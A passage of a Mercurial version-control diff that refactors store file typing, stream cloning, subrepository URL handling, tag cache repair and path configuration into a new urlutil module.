-206,7 +213,7 @@ self._filecache = {} self.requirements = requirements - rootmanifest = manifest.manifestrevlog(self.svfs) + rootmanifest = manifest.manifestrevlog(self.nodeconstants, self.svfs) self.manifestlog = manifest.manifestlog( self.svfs, self, rootmanifest, self.narrowmatch() ) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/store.py --- a/mercurial/store.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/store.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # store.py - repository store handling for Mercurial # -# Copyright 2008 Matt Mackall +# Copyright 2008 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -10,6 +10,7 @@ import errno import functools import os +import re import stat from .i18n import _ @@ -387,13 +388,58 @@ b'requires', ] +REVLOG_FILES_MAIN_EXT = (b'.i', b'i.tmpcensored') +REVLOG_FILES_OTHER_EXT = (b'.d', b'.n', b'.nd', b'd.tmpcensored') +# files that are "volatile" and might change between listing and streaming +# +# note: the ".nd" file are nodemap data and won't "change" but they might be +# deleted. +REVLOG_FILES_VOLATILE_EXT = (b'.n', b'.nd') -def isrevlog(f, kind, st): +# some exception to the above matching +EXCLUDED = re.compile(b'.*undo\.[^/]+\.nd?$') + + +def is_revlog(f, kind, st): if kind != stat.S_IFREG: - return False - if f[-2:] in (b'.i', b'.d', b'.n'): - return True - return f[-3:] == b'.nd' + return None + return revlog_type(f) + + +def revlog_type(f): + if f.endswith(REVLOG_FILES_MAIN_EXT): + return FILEFLAGS_REVLOG_MAIN + elif f.endswith(REVLOG_FILES_OTHER_EXT) and EXCLUDED.match(f) is None: + t = FILETYPE_FILELOG_OTHER + if f.endswith(REVLOG_FILES_VOLATILE_EXT): + t |= FILEFLAGS_VOLATILE + return t + + +# the file is part of changelog data +FILEFLAGS_CHANGELOG = 1 << 13 +# the file is part of manifest data +FILEFLAGS_MANIFESTLOG = 1 << 12 +# the file is part of filelog data +FILEFLAGS_FILELOG = 1 << 11 +# file that are not directly part of a revlog +FILEFLAGS_OTHER = 1 << 10 + +# the main entry point for a revlog +FILEFLAGS_REVLOG_MAIN = 1 << 1 +# a secondary file for a revlog +FILEFLAGS_REVLOG_OTHER = 1 << 0 + +# files that are "volatile" and might change between listing and streaming +FILEFLAGS_VOLATILE = 1 << 20 + +FILETYPE_CHANGELOG_MAIN = FILEFLAGS_CHANGELOG | FILEFLAGS_REVLOG_MAIN +FILETYPE_CHANGELOG_OTHER = FILEFLAGS_CHANGELOG | FILEFLAGS_REVLOG_OTHER +FILETYPE_MANIFESTLOG_MAIN = FILEFLAGS_MANIFESTLOG | FILEFLAGS_REVLOG_MAIN +FILETYPE_MANIFESTLOG_OTHER = FILEFLAGS_MANIFESTLOG | FILEFLAGS_REVLOG_OTHER +FILETYPE_FILELOG_MAIN = FILEFLAGS_FILELOG | FILEFLAGS_REVLOG_MAIN +FILETYPE_FILELOG_OTHER = FILEFLAGS_FILELOG | FILEFLAGS_REVLOG_OTHER +FILETYPE_OTHER = FILEFLAGS_OTHER class basicstore(object): @@ -411,7 +457,7 @@ def join(self, f): return self.path + b'/' + encodedir(f) - def _walk(self, relpath, recurse, filefilter=isrevlog): + def _walk(self, relpath, recurse): '''yields (unencoded, encoded, size)''' path = self.path if relpath: @@ -425,30 +471,46 @@ p = visit.pop() for f, kind, st in readdir(p, stat=True): fp = p + b'/' + f - if filefilter(f, kind, st): + rl_type = is_revlog(f, kind, st) + if rl_type is not None: n = util.pconvert(fp[striplen:]) - l.append((decodedir(n), n, st.st_size)) + l.append((rl_type, decodedir(n), n, st.st_size)) elif kind == stat.S_IFDIR and recurse: visit.append(fp) l.sort() return l - def changelog(self, trypending): - return changelog.changelog(self.vfs, trypending=trypending) + def changelog(self, trypending, concurrencychecker=None): + return changelog.changelog( + self.vfs, + trypending=trypending, + concurrencychecker=concurrencychecker, + ) def manifestlog(self, repo, storenarrowmatch): - rootstore = manifest.manifestrevlog(self.vfs) + rootstore = manifest.manifestrevlog(repo.nodeconstants, self.vfs) return manifest.manifestlog(self.vfs, repo, rootstore, storenarrowmatch) def datafiles(self, matcher=None): - return self._walk(b'data', True) + self._walk(b'meta', True) + files = self._walk(b'data', True) + self._walk(b'meta', True) + for (t, u, e, s) in files: + yield (FILEFLAGS_FILELOG | t, u, e, s) def topfiles(self): # yield manifest before changelog - return reversed(self._walk(b'', False)) + files = reversed(self._walk(b'', False)) + for (t, u, e, s) in files: + if u.startswith(b'00changelog'): + yield (FILEFLAGS_CHANGELOG | t, u, e, s) + elif u.startswith(b'00manifest'): + yield (FILEFLAGS_MANIFESTLOG | t, u, e, s) + else: + yield (FILETYPE_OTHER | t, u, e, s) def walk(self, matcher=None): - """yields (unencoded, encoded, size) + """return file related to data storage (ie: revlogs) + + yields (file_type, unencoded, encoded, size) if a matcher is passed, storage files of only those tracked paths are passed with matches the matcher @@ -494,14 +556,14 @@ self.opener = self.vfs def datafiles(self, matcher=None): - for a, b, size in super(encodedstore, self).datafiles(): + for t, a, b, size in super(encodedstore, self).datafiles(): try: a = decodefilename(a) except KeyError: a = None if a is not None and not _matchtrackedpath(a, matcher): continue - yield a, b, size + yield t, a, b, size def join(self, f): return self.path + b'/' + encodefilename(f) @@ -690,7 +752,9 @@ continue ef = self.encode(f) try: - yield f, ef, self.getsize(ef) + t = revlog_type(f) + t |= FILEFLAGS_FILELOG + yield t, f, ef, self.getsize(ef) except OSError as err: if err.errno != errno.ENOENT: raise diff -r bc268ea9f984 -r f67b8946bb1b mercurial/streamclone.py --- a/mercurial/streamclone.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/streamclone.py Tue Apr 20 11:01:06 2021 -0400 @@ -20,6 +20,7 @@ narrowspec, phases, pycompat, + requirements as requirementsmod, scmutil, store, util, @@ -83,7 +84,7 @@ # is advertised and contains a comma-delimited list of requirements. requirements = set() if remote.capable(b'stream'): - requirements.add(b'revlogv1') + requirements.add(requirementsmod.REVLOGV1_REQUIREMENT) else: streamreqs = remote.capable(b'streamreqs') # This is weird and shouldn't happen with modern servers. @@ -242,10 +243,12 @@ # Get consistent snapshot of repo, lock during scan. with repo.lock(): repo.ui.debug(b'scanning\n') - for name, ename, size in _walkstreamfiles(repo): + for file_type, name, ename, size in _walkstreamfiles(repo): if size: entries.append((name, size)) total_bytes += size + _test_sync_point_walk_1(repo) + _test_sync_point_walk_2(repo) repo.ui.debug( b'%d files, %d bytes to transfer\n' % (len(entries), total_bytes) @@ -592,6 +595,14 @@ fp.close() +def _test_sync_point_walk_1(repo): + """a function for synchronisation during tests""" + + +def _test_sync_point_walk_2(repo): + """a function for synchronisation during tests""" + + def generatev2(repo, includes, excludes, includeobsmarkers): """Emit content for version 2 of a streaming clone. @@ -615,9 +626,12 @@ matcher = narrowspec.match(repo.root, includes, excludes) repo.ui.debug(b'scanning\n') - for name, ename, size in _walkstreamfiles(repo, matcher): + for rl_type, name, ename, size in _walkstreamfiles(repo, matcher): if size: - entries.append((_srcstore, name, _fileappend, size)) + ft = _fileappend + if rl_type & store.FILEFLAGS_VOLATILE: + ft = _filefull + entries.append((_srcstore, name, ft, size)) totalfilesize += size for name in _walkstreamfullstorefiles(repo): if repo.svfs.exists(name): @@ -634,6 +648,8 @@ chunks = _emit2(repo, entries, totalfilesize) first = next(chunks) assert first is None + _test_sync_point_walk_1(repo) + _test_sync_point_walk_2(repo) return len(entries), totalfilesize, chunks diff -r bc268ea9f984 -r f67b8946bb1b mercurial/subrepo.py --- a/mercurial/subrepo.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/subrepo.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # subrepo.py - sub-repository classes and factory # -# Copyright 2009-2010 Matt Mackall +# Copyright 2009-2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -44,6 +44,7 @@ dateutil, hashutil, procutil, + urlutil, ) hg = None @@ -57,8 +58,8 @@ """ get a path or url and if it is a path expand it and return an absolute path """ - expandedpath = util.urllocalpath(util.expandpath(path)) - u = util.url(expandedpath) + expandedpath = urlutil.urllocalpath(util.expandpath(path)) + u = urlutil.url(expandedpath) if not u.scheme: path = util.normpath(os.path.abspath(u.path)) return path @@ -716,13 +717,17 @@ _(b'sharing subrepo %s from %s\n') % (subrelpath(self), srcurl) ) - shared = hg.share( - self._repo._subparent.baseui, - getpeer(), - self._repo.root, - update=False, - bookmarks=False, - ) + peer = getpeer() + try: + shared = hg.share( + self._repo._subparent.baseui, + peer, + self._repo.root, + update=False, + bookmarks=False, + ) + finally: + peer.close() self._repo = shared.local() else: # TODO: find a common place for this and this code in the @@ -741,26 +746,34 @@ self.ui.status( _(b'cloning subrepo %s from %s\n') - % (subrelpath(self), util.hidepassword(srcurl)) + % (subrelpath(self), urlutil.hidepassword(srcurl)) ) - other, cloned = hg.clone( - self._repo._subparent.baseui, - {}, - getpeer(), - self._repo.root, - update=False, - shareopts=shareopts, - ) + peer = getpeer() + try: + other, cloned = hg.clone( + self._repo._subparent.baseui, + {}, + peer, + self._repo.root, + update=False, + shareopts=shareopts, + ) + finally: + peer.close() self._repo = cloned.local() self._initrepo(parentrepo, source, create=True) self._cachestorehash(srcurl) else: self.ui.status( _(b'pulling subrepo %s from %s\n') - % (subrelpath(self), util.hidepassword(srcurl)) + % (subrelpath(self), urlutil.hidepassword(srcurl)) ) cleansub = self.storeclean(srcurl) - exchange.pull(self._repo, getpeer()) + peer = getpeer() + try: + exchange.pull(self._repo, peer) + finally: + peer.close() if cleansub: # keep the repo clean after pull self._cachestorehash(srcurl) @@ -837,15 +850,18 @@ if self.storeclean(dsturl): self.ui.status( _(b'no changes made to subrepo %s since last push to %s\n') - % (subrelpath(self), util.hidepassword(dsturl)) + % (subrelpath(self), urlutil.hidepassword(dsturl)) ) return None self.ui.status( _(b'pushing subrepo %s to %s\n') - % (subrelpath(self), util.hidepassword(dsturl)) + % (subrelpath(self), urlutil.hidepassword(dsturl)) ) other = hg.peer(self._repo, {b'ssh': ssh}, dsturl) - res = exchange.push(self._repo, other, force, newbranch=newbranch) + try: + res = exchange.push(self._repo, other, force, newbranch=newbranch) + finally: + other.close() # the repo is now clean self._cachestorehash(dsturl) @@ -857,7 +873,8 @@ opts = copy.copy(opts) opts.pop(b'rev', None) opts.pop(b'branch', None) - return hg.outgoing(ui, self._repo, _abssource(self._repo, True), opts) + subpath = subrepoutil.repo_rel_or_abs_source(self._repo) + return hg.outgoing(ui, self._repo, dest, opts, subpath=subpath) @annotatesubrepoerror def incoming(self, ui, source, opts): @@ -865,7 +882,8 @@ opts = copy.copy(opts) opts.pop(b'rev', None) opts.pop(b'branch', None) - return hg.incoming(ui, self._repo, _abssource(self._repo, False), opts) + subpath = subrepoutil.repo_rel_or_abs_source(self._repo) + return hg.incoming(ui, self._repo, source, opts, subpath=subpath) @annotatesubrepoerror def files(self): @@ -1269,7 +1287,7 @@ args.append(b'%s@%s' % (state[0], state[1])) # SEC: check that the ssh url is safe - util.checksafessh(state[0]) + urlutil.checksafessh(state[0]) status, err = self._svncommand(args, failok=True) _sanitize(self.ui, self.wvfs, b'.svn') @@ -1567,7 +1585,7 @@ def _fetch(self, source, revision): if self._gitmissing(): # SEC: check for safe ssh url - util.checksafessh(source) + urlutil.checksafessh(source) source = self._abssource(source) self.ui.status( diff -r bc268ea9f984 -r f67b8946bb1b mercurial/subrepoutil.py --- a/mercurial/subrepoutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/subrepoutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # subrepoutil.py - sub-repository operations and substate handling # -# Copyright 2009-2010 Matt Mackall +# Copyright 2009-2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -23,12 +23,36 @@ pycompat, util, ) -from .utils import stringutil +from .utils import ( + stringutil, + urlutil, +) nullstate = (b'', b'', b'empty') +if pycompat.TYPE_CHECKING: + from typing import ( + Any, + Dict, + List, + Optional, + Set, + Tuple, + ) + from . import ( + context, + localrepo, + match as matchmod, + scmutil, + subrepo, + ui as uimod, + ) + + Substate = Dict[bytes, Tuple[bytes, bytes, bytes]] + def state(ctx, ui): + # type: (context.changectx, uimod.ui) -> Substate """return a state dict, mapping subrepo paths configured in .hgsub to tuple: (source from .hgsub, revision from .hgsubstate, kind (key in types dict)) @@ -84,6 +108,7 @@ raise def remap(src): + # type: (bytes) -> bytes for pattern, repl in p.items(b'subpaths'): # Turn r'C:\foo\bar' into r'C:\\foo\\bar' since re.sub # does a string decode. @@ -105,7 +130,7 @@ return src state = {} - for path, src in p[b''].items(): + for path, src in p.items(b''): # type: bytes kind = b'hg' if src.startswith(b'['): if b']' not in src: @@ -114,10 +139,10 @@ kind = kind[1:] src = src.lstrip() # strip any extra whitespace after ']' - if not util.url(src).isabs(): + if not urlutil.url(src).isabs(): parent = _abssource(repo, abort=False) if parent: - parent = util.url(parent) + parent = urlutil.url(parent) parent.path = posixpath.join(parent.path or b'', src) parent.path = posixpath.normpath(parent.path) joined = bytes(parent) @@ -136,6 +161,7 @@ def writestate(repo, state): + # type: (localrepo.localrepository, Substate) -> None """rewrite .hgsubstate in (outer) repo with these subrepo states""" lines = [ b'%s %s\n' % (state[s][1], s) @@ -146,6 +172,8 @@ def submerge(repo, wctx, mctx, actx, overwrite, labels=None): + # type: (localrepo.localrepository, context.workingctx, context.changectx, context.changectx, bool, Optional[Any]) -> Substate + # TODO: type the `labels` arg """delegated from merge.applyupdates: merging of .hgsubstate file in working context, merging context and ancestor context""" if mctx == actx: # backwards? @@ -285,6 +313,7 @@ def precommit(ui, wctx, status, match, force=False): + # type: (uimod.ui, context.workingcommitctx, scmutil.status, matchmod.basematcher, bool) -> Tuple[List[bytes], Set[bytes], Substate] """Calculate .hgsubstate changes that should be applied before committing Returns (subs, commitsubs, newstate) where @@ -354,7 +383,26 @@ return subs, commitsubs, newstate +def repo_rel_or_abs_source(repo): + """return the source of this repo + + Either absolute or relative the outermost repo""" + parent = repo + chunks = [] + while util.safehasattr(parent, b'_subparent'): + source = urlutil.url(parent._subsource) + chunks.append(bytes(source)) + if source.isabs(): + break + parent = parent._subparent + + chunks.reverse() + path = posixpath.join(*chunks) + return posixpath.normpath(path) + + def reporelpath(repo): + # type: (localrepo.localrepository) -> bytes """return path to this (sub)repo as seen from outermost repo""" parent = repo while util.safehasattr(parent, b'_subparent'): @@ -363,21 +411,23 @@ def subrelpath(sub): + # type: (subrepo.abstractsubrepo) -> bytes """return path to this subrepo as seen from outermost repo""" return sub._relpath def _abssource(repo, push=False, abort=True): + # type: (localrepo.localrepository, bool, bool) -> Optional[bytes] """return pull/push path of repo - either based on parent repo .hgsub info or on the top repo config. Abort or return None if no source found.""" if util.safehasattr(repo, b'_subparent'): - source = util.url(repo._subsource) + source = urlutil.url(repo._subsource) if source.isabs(): return bytes(source) source.path = posixpath.normpath(source.path) parent = _abssource(repo._subparent, push, abort=False) if parent: - parent = util.url(util.pconvert(parent)) + parent = urlutil.url(util.pconvert(parent)) parent.path = posixpath.join(parent.path or b'', source.path) parent.path = posixpath.normpath(parent.path) return bytes(parent) @@ -406,7 +456,7 @@ # # D:\>python -c "import os; print os.path.abspath('C:relative')" # C:\some\path\relative - if util.hasdriveletter(path): + if urlutil.hasdriveletter(path): if len(path) == 2 or path[2:3] not in br'\/': path = os.path.abspath(path) return path @@ -416,6 +466,7 @@ def newcommitphase(ui, ctx): + # type: (uimod.ui, context.changectx) -> int commitphase = phases.newcommitphase(ui) substate = getattr(ctx, "substate", None) if not substate: diff -r bc268ea9f984 -r f67b8946bb1b mercurial/tags.py --- a/mercurial/tags.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/tags.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # tags.py - read tag info from local repository # -# Copyright 2009 Matt Mackall +# Copyright 2009 Olivia Mackall # Copyright 2009 Greg Ward # # This software may be used and distributed according to the terms of the @@ -494,11 +494,25 @@ starttime = util.timer() fnodescache = hgtagsfnodescache(repo.unfiltered()) cachefnode = {} + validated_fnodes = set() + unknown_entries = set() for node in nodes: fnode = fnodescache.getfnode(node) + flog = repo.file(b'.hgtags') if fnode != nullid: + if fnode not in validated_fnodes: + if flog.hasnode(fnode): + validated_fnodes.add(fnode) + else: + unknown_entries.add(node) cachefnode[node] = fnode + if unknown_entries: + fixed_nodemap = fnodescache.refresh_invalid_nodes(unknown_entries) + for node, fnode in pycompat.iteritems(fixed_nodemap): + if fnode != nullid: + cachefnode[node] = fnode + fnodescache.write() duration = util.timer() - starttime @@ -733,6 +747,7 @@ if rawlen < wantedlen: if self._dirtyoffset is None: self._dirtyoffset = rawlen + # TODO: zero fill entire record, because it's invalid not missing? self._raw.extend(b'\xff' * (wantedlen - rawlen)) def getfnode(self, node, computemissing=True): @@ -740,7 +755,8 @@ If the value is in the cache, the entry will be validated and returned. Otherwise, the filenode will be computed and returned unless - "computemissing" is False, in which case None will be returned without + "computemissing" is False. In that case, None will be returned if + the entry is missing or False if the entry is invalid without any potentially expensive computation being performed. If an .hgtags does not exist at the specified revision, nullid is @@ -771,8 +787,19 @@ # If we get here, the entry is either missing or invalid. if not computemissing: + if record != _fnodesmissingrec: + return False return None + fnode = self._computefnode(node) + self._writeentry(offset, properprefix, fnode) + return fnode + + def _computefnode(self, node): + """Finds the tag filenode for a node which is missing or invalid + in cache""" + ctx = self._repo[node] + rev = ctx.rev() fnode = None cl = self._repo.changelog p1rev, p2rev = cl._uncheckedparentrevs(rev) @@ -788,7 +815,7 @@ # we cannot rely on readfast because we don't know against what # parent the readfast delta is computed p1fnode = None - if p1fnode is not None: + if p1fnode: mctx = ctx.manifestctx() fnode = mctx.readfast().get(b'.hgtags') if fnode is None: @@ -800,8 +827,6 @@ except error.LookupError: # No .hgtags file on this revision. fnode = nullid - - self._writeentry(offset, properprefix, fnode) return fnode def setfnode(self, node, fnode): @@ -815,6 +840,21 @@ self._writeentry(ctx.rev() * _fnodesrecsize, node[0:4], fnode) + def refresh_invalid_nodes(self, nodes): + """recomputes file nodes for a given set of nodes which has unknown + filenodes for them in the cache + Also updates the in-memory cache with the correct filenode. + Caller needs to take care about calling `.write()` so that updates are + persisted. + Returns a map {node: recomputed fnode} + """ + fixed_nodemap = {} + for node in nodes: + fnode = self._computefnode(node) + fixed_nodemap[node] = fnode + self.setfnode(node, fnode) + return fixed_nodemap + def _writeentry(self, offset, prefix, fnode): # Slices on array instances only accept other array. entry = bytearray(prefix + fnode) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/templatefilters.py --- a/mercurial/templatefilters.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/templatefilters.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # templatefilters.py - common template expansion filters # -# Copyright 2005-2008 Matt Mackall +# Copyright 2005-2008 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/templatefuncs.py --- a/mercurial/templatefuncs.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/templatefuncs.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # templatefuncs.py - common template functions # -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/templatekw.py --- a/mercurial/templatekw.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/templatekw.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # templatekw.py - common changeset template keywords # -# Copyright 2005-2009 Matt Mackall +# Copyright 2005-2009 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/templater.py --- a/mercurial/templater.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/templater.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # templater.py - template expansion for output # -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -891,7 +891,7 @@ fp = _open_mapfile(path) cache, tmap, aliases = _readmapfile(fp, path) - for key, val in conf[b'templates'].items(): + for key, val in conf.items(b'templates'): if not val: raise error.ParseError( _(b'missing value'), conf.source(b'templates', key) @@ -904,7 +904,7 @@ cache[key] = unquotestring(val) elif key != b'__base__': tmap[key] = os.path.join(base, val) - aliases.extend(conf[b'templatealias'].items()) + aliases.extend(conf.items(b'templatealias')) return cache, tmap, aliases diff -r bc268ea9f984 -r f67b8946bb1b mercurial/templateutil.py --- a/mercurial/templateutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/templateutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # templateutil.py - utility for template evaluation # -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/testing/__init__.py --- a/mercurial/testing/__init__.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/testing/__init__.py Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,35 @@ +from __future__ import ( + absolute_import, + division, +) + +import os +import time + + +# work around check-code complains +# +# This is a simple log level module doing simple test related work, we can't +# import more things, and we do not need it. +environ = getattr(os, 'environ') + + +def _timeout_factor(): + """return the current modification to timeout""" + default = int(environ.get('HGTEST_TIMEOUT_DEFAULT', 1)) + current = int(environ.get('HGTEST_TIMEOUT', default)) + return current / float(default) + + +def wait_file(path, timeout=10): + timeout *= _timeout_factor() + start = time.time() + while not os.path.exists(path): + if time.time() - start > timeout: + raise RuntimeError(b"timed out waiting for file: %s" % path) + time.sleep(0.01) + + +def write_file(path, content=b''): + with open(path, 'wb') as f: + f.write(content) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/testing/storage.py --- a/mercurial/testing/storage.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/testing/storage.py Tue Apr 20 11:01:06 2021 -0400 @@ -1129,12 +1129,13 @@ with self._maketransactionfn() as tr: nodes = [] - def onchangeset(cl, node): + def onchangeset(cl, rev): + node = cl.node(rev) nodes.append(node) cb(cl, node) - def ondupchangeset(cl, node): - nodes.append(node) + def ondupchangeset(cl, rev): + nodes.append(cl.node(rev)) f.addgroup( [], @@ -1157,18 +1158,19 @@ f = self._makefilefn() deltas = [ - (node0, nullid, nullid, nullid, nullid, delta0, 0), + (node0, nullid, nullid, nullid, nullid, delta0, 0, {}), ] with self._maketransactionfn() as tr: nodes = [] - def onchangeset(cl, node): + def onchangeset(cl, rev): + node = cl.node(rev) nodes.append(node) cb(cl, node) - def ondupchangeset(cl, node): - nodes.append(node) + def ondupchangeset(cl, rev): + nodes.append(cl.node(rev)) f.addgroup( deltas, @@ -1212,13 +1214,15 @@ for i, fulltext in enumerate(fulltexts): delta = mdiff.trivialdiffheader(len(fulltext)) + fulltext - deltas.append((nodes[i], nullid, nullid, nullid, nullid, delta, 0)) + deltas.append( + (nodes[i], nullid, nullid, nullid, nullid, delta, 0, {}) + ) with self._maketransactionfn() as tr: newnodes = [] - def onchangeset(cl, node): - newnodes.append(node) + def onchangeset(cl, rev): + newnodes.append(cl.node(rev)) f.addgroup( deltas, @@ -1260,7 +1264,9 @@ ) delta = mdiff.textdiff(b'bar\n' * 30, (b'bar\n' * 30) + b'baz\n') - deltas = [(b'\xcc' * 20, node1, nullid, b'\x01' * 20, node1, delta, 0)] + deltas = [ + (b'\xcc' * 20, node1, nullid, b'\x01' * 20, node1, delta, 0, {}) + ] with self._maketransactionfn() as tr: with self.assertRaises(error.CensoredBaseError): diff -r bc268ea9f984 -r f67b8946bb1b mercurial/transaction.py --- a/mercurial/transaction.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/transaction.py Tue Apr 20 11:01:06 2021 -0400 @@ -6,7 +6,7 @@ # effectively log-structured, this should amount to simply truncating # anything that isn't referenced in the changelog. # -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/treediscovery.py --- a/mercurial/treediscovery.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/treediscovery.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # discovery.py - protocol changeset discovery functions # -# Copyright 2010 Matt Mackall +# Copyright 2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/ui.py --- a/mercurial/ui.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/ui.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # ui.py - user interface bits for mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -26,7 +26,6 @@ from .pycompat import ( getattr, open, - setattr, ) from . import ( @@ -48,6 +47,7 @@ procutil, resourceutil, stringutil, + urlutil, ) urlreq = util.urlreq @@ -302,6 +302,11 @@ if k in self.environ: self._exportableenviron[k] = self.environ[k] + def _new_source(self): + self._ocfg.new_source() + self._tcfg.new_source() + self._ucfg.new_source() + @classmethod def load(cls): """Create a ui and load global and user configs""" @@ -313,6 +318,7 @@ elif t == b'resource': u.read_resource_config(f, trust=True) elif t == b'items': + u._new_source() sections = set() for section, name, value, source in f: # do not set u._ocfg @@ -325,6 +331,7 @@ else: raise error.ProgrammingError(b'unknown rctype: %s' % t) u._maybetweakdefaults() + u._new_source() # anything after that is a different level return u def _maybetweakdefaults(self): @@ -552,9 +559,9 @@ ) p = p.replace(b'%%', b'%') p = util.expandpath(p) - if not util.hasscheme(p) and not os.path.isabs(p): + if not urlutil.hasscheme(p) and not os.path.isabs(p): p = os.path.normpath(os.path.join(root, p)) - c.set(b"paths", n, p) + c.alter(b"paths", n, p) if section in (None, b'ui'): # update ui options @@ -655,11 +662,18 @@ msg %= (section, name, pycompat.bytestr(default)) self.develwarn(msg, 2, b'warn-config-default') + candidates = [] + config = self._data(untrusted) for s, n in alternates: - candidate = self._data(untrusted).get(s, n, None) + candidate = config.get(s, n, None) if candidate is not None: - value = candidate - break + candidates.append((s, n, candidate)) + if candidates: + + def level(x): + return config.level(x[0], x[1]) + + value = max(candidates, key=level)[2] if self.debugflag and not untrusted and self._reportuntrusted: for s, n in alternates: @@ -1016,8 +1030,10 @@ def expandpath(self, loc, default=None): """Return repository location relative to cwd or from [paths]""" + msg = b'ui.expandpath is deprecated, use `get_*` functions from urlutil' + self.deprecwarn(msg, b'6.0') try: - p = self.paths.getpath(loc) + p = self.getpath(loc) if p: return p.rawloc except error.RepoError: @@ -1025,7 +1041,7 @@ if default: try: - p = self.paths.getpath(default) + p = self.getpath(default) if p: return p.rawloc except error.RepoError: @@ -1035,7 +1051,14 @@ @util.propertycache def paths(self): - return paths(self) + return urlutil.paths(self) + + def getpath(self, *args, **kwargs): + """see paths.getpath for details + + This method exist as `getpath` need a ui for potential warning message. + """ + return self.paths.getpath(self, *args, **kwargs) @property def fout(self): @@ -2159,192 +2182,6 @@ return util._estimatememory() -class paths(dict): - """Represents a collection of paths and their configs. - - Data is initially derived from ui instances and the config files they have - loaded. - """ - - def __init__(self, ui): - dict.__init__(self) - - for name, loc in ui.configitems(b'paths', ignoresub=True): - # No location is the same as not existing. - if not loc: - continue - loc, sub = ui.configsuboptions(b'paths', name) - self[name] = path(ui, name, rawloc=loc, suboptions=sub) - - def getpath(self, name, default=None): - """Return a ``path`` from a string, falling back to default. - - ``name`` can be a named path or locations. Locations are filesystem - paths or URIs. - - Returns None if ``name`` is not a registered path, a URI, or a local - path to a repo. - """ - # Only fall back to default if no path was requested. - if name is None: - if not default: - default = () - elif not isinstance(default, (tuple, list)): - default = (default,) - for k in default: - try: - return self[k] - except KeyError: - continue - return None - - # Most likely empty string. - # This may need to raise in the future. - if not name: - return None - - try: - return self[name] - except KeyError: - # Try to resolve as a local path or URI. - try: - # We don't pass sub-options in, so no need to pass ui instance. - return path(None, None, rawloc=name) - except ValueError: - raise error.RepoError(_(b'repository %s does not exist') % name) - - -_pathsuboptions = {} - - -def pathsuboption(option, attr): - """Decorator used to declare a path sub-option. - - Arguments are the sub-option name and the attribute it should set on - ``path`` instances. - - The decorated function will receive as arguments a ``ui`` instance, - ``path`` instance, and the string value of this option from the config. - The function should return the value that will be set on the ``path`` - instance. - - This decorator can be used to perform additional verification of - sub-options and to change the type of sub-options. - """ - - def register(func): - _pathsuboptions[option] = (attr, func) - return func - - return register - - -@pathsuboption(b'pushurl', b'pushloc') -def pushurlpathoption(ui, path, value): - u = util.url(value) - # Actually require a URL. - if not u.scheme: - ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name) - return None - - # Don't support the #foo syntax in the push URL to declare branch to - # push. - if u.fragment: - ui.warn( - _( - b'("#fragment" in paths.%s:pushurl not supported; ' - b'ignoring)\n' - ) - % path.name - ) - u.fragment = None - - return bytes(u) - - -@pathsuboption(b'pushrev', b'pushrev') -def pushrevpathoption(ui, path, value): - return value - - -class path(object): - """Represents an individual path and its configuration.""" - - def __init__(self, ui, name, rawloc=None, suboptions=None): - """Construct a path from its config options. - - ``ui`` is the ``ui`` 